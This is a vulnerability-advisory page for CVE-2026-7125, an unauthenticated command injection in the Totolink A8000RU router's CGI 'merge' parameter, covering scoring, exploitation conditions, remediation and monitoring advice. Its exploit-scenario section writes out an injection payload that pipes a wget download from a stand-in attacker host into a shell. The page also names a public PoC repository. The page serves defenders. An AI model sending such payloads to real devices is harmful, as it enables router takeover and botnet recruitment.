Skip to main content

Totolink A8000RU CVE-2026-7125

| EUVDEUVD-2026-25843 HIGH
OS Command Injection (CWE-78)
2026-04-27 VulDB
8.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Scan for exposed CGI interface
  2. Delivery
    Craft HTTP POST to /cgi-bin/cstecgi.cgi
  3. Exploit
    Inject shell commands via 'merge' parameter
  4. Execution
    Execute arbitrary code as root
  5. Impact
    Establish persistence or pivot to LAN

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Totolink A8000RU's web management CGI interface (/cgi-bin/cstecgi.cgi) to be network-reachable by the attacker. No authentication is required (PR:N confirmed by CVSS vector). No user interaction needed (UI:N). Attacks succeed against default router configurations with the web interface enabled on WAN or LAN networks accessible to the attacker. The specific limiting factor is network reachability: routers with WAN management disabled or behind NAT with no port forwarding to the CGI interface are not remotely exploitable, though they remain vulnerable to LAN-side attackers (malicious insiders, compromised IoT devices on the same network, or attackers who have already breached the perimeter). Firmware version 7.1cu.643_b20200521 is confirmed vulnerable; exploitation against other versions is unverified from available data.

Impact

Real-world risk is CRITICAL for internet-exposed Totolink A8000RU routers. CVSS 8.9 accurately reflects the severity: network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and high impact to confidentiality, integrity, and availability (VC:H/VI:H/VA:H). The CVSS E:P (Proof-of-concept exploit available) modifier is confirmed by the GitHub POC repository, lowering the exploitation barrier to script-kiddie level. Scope unchanged (SC:N) means impact is limited to the vulnerable router itself, but successful exploitation grants root-level shell access enabling full device compromise, LAN pivoting, traffic interception, and botnet recruitment. No EPSS score was provided in the input data, but given POC availability, SOHO router attack surface, and remote unauthenticated vector, real-world exploitation probability is moderate to high. NOT currently listed in CISA KEV, suggesting targeted or research-phase exploitation rather than mass scanning campaigns. However, consumer routers with public exploits typically see weaponization within weeks. Priority should be IMMEDIATE for any deployment exposing the CGI interface to untrusted networks.

Exploit ScenarioDerived

An attacker scans IPv4 space for Totolink A8000RU devices exposing the web management interface on standard ports (typically TCP 80/8080). Using the publicly available GitHub POC (github.com/Litengzheng/vuldb_new2/blob/main/A8000RU/vul_310/), the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi invoking setWiFiEasyCfg with a malicious 'merge' parameter containing shell commands (e.g., 'merge=legitimate_value;wget http://attacker.com/malware.sh|sh'). The CGI handler executes the injected commands with root privileges, downloading and running attacker-controlled scripts. Within seconds, the router joins a botnet, exfiltrates WAN credentials, or establishes a persistent reverse shell for LAN reconnaissance.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 27, 2026

OS command injection in Totolink A8000RU 7.1cu.643_b20200521 allows remote unauthenticated attackers to execute arbitrary system commands via the 'merge' parameter in the setWiFiEasyCfg function of /cgi-bin/cstecgi.cgi. Publicly available exploit code exists on GitHub (Litengzheng/vuldb_new2), enabling trivial exploitation against internet-facing devices. CVSS 8.9 reflects network attack vector with no authentication required (AV:N/PR:N), and EPSS data suggests moderate real-world exploitation probability given the POC availability and low attack complexity.

RemediationAI

Check Totolink's official support portal (https://www.totolink.net/) for firmware updates newer than version 7.1cu.643_b20200521 that address CVE-2026-7125. No vendor-released patch version was identified in the provided data sources. As compensating controls with specific trade-offs: (1) Disable remote administration entirely via the router's web interface settings - this blocks the attack vector but prevents legitimate remote management; restore only when patched firmware is available. (2) If remote management is operationally required, restrict access to the /cgi-bin/cstecgi.cgi endpoint to trusted IP addresses using firewall rules (upstream router ACLs or WAN packet filter if the device supports it) - this limits exposure but requires maintaining an IP allowlist and does not protect against LAN-side attackers or compromised trusted hosts. (3) Place the router behind a reverse proxy with strict parameter filtering - adds architectural complexity and potential performance overhead. Do NOT rely on changing administrative credentials alone, as this vulnerability requires no authentication. Monitor logs for HTTP POST requests to /cgi-bin/cstecgi.cgi with suspicious 'merge' parameter values containing shell metacharacters (semicolons, backticks, pipes, ampersands).

Affected VersionsENISA

A8000RU 7.1cu.643_b20200521

Affected Packages

euvd a8000ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the CGI handler implementation in Totolink A8000RU wireless router firmware version 7.1cu.643_b20200521. The setWiFiEasyCfg function within /cgi-bin/cstecgi.cgi fails to properly sanitize the 'merge' parameter before passing it to system command execution routines, creating a classic CWE-78 OS command injection flaw. CGI handlers in embedded router firmware commonly suffer from insufficient input validation when processing HTTP parameters, especially in legacy code that directly constructs shell commands using user-supplied input without escaping or parameterization. The affected CPE (cpe:2.3:a:totolink:a8000ru) indicates this is a vendor application-layer vulnerability in the router's web management interface rather than a firmware-level flaw.

Know when A8000Ru gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 27, 2026 - 18:36 vuln.today
Public exploit code
Severity Changed
Apr 27, 2026 - 13:22 NVD
CRITICAL HIGH
CVSS changed
Apr 27, 2026 - 13:22 NVD
9.8 (CRITICAL) 8.9 (HIGH)
CVE Published
Apr 27, 2026 - 12:45 nvd
HIGH 8.9

DescriptionCVE.org

A vulnerability was identified in Totolink A8000RU 7.1cu.643_b20200521. Affected by this issue is the function setWiFiEasyCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument merge leads to os command injection. The attack may be initiated remotely. The exploit is publicly available and might be used.

Executive ViewAI

Why It Matters

CVE-2026-7125 is a critical remote code execution vulnerability affecting Totolik A8000RU routers (version 7.1cu.643_b20200521 and potentially others) that allows unauthenticated attackers to execute arbitrary commands on affected devices. Organizations using these routers in production environments face immediate risk of complete device compromise, lateral network movement, and potential data exfiltration, particularly if devices are internet-facing or accessible to untrusted networks.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to router administrative interfaces via firewall rules; (2) Disable remote management interfaces if enabled; (3) Implement network segmentation to isolate routers from critical systems; (4) Monitor for suspicious command execution patterns and outbound connections; (5) Consider device replacement or vendor evaluation for patched alternatives; (6) Conduct network-wide scanning to detect unauthorized access attempts targeting CVE-2026-7125.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-9436 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9478 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9477 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9476 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9475 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke

CVE-2026-9458 HIGH POC
8.9 May 25

Remote OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated attacke

CVE-2026-9457 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9456 HIGH POC
8.9 May 25

Remote OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows unauthenticated attackers to

CVE-2026-9455 HIGH POC
8.9 May 25

OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9454 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9435 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9434 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy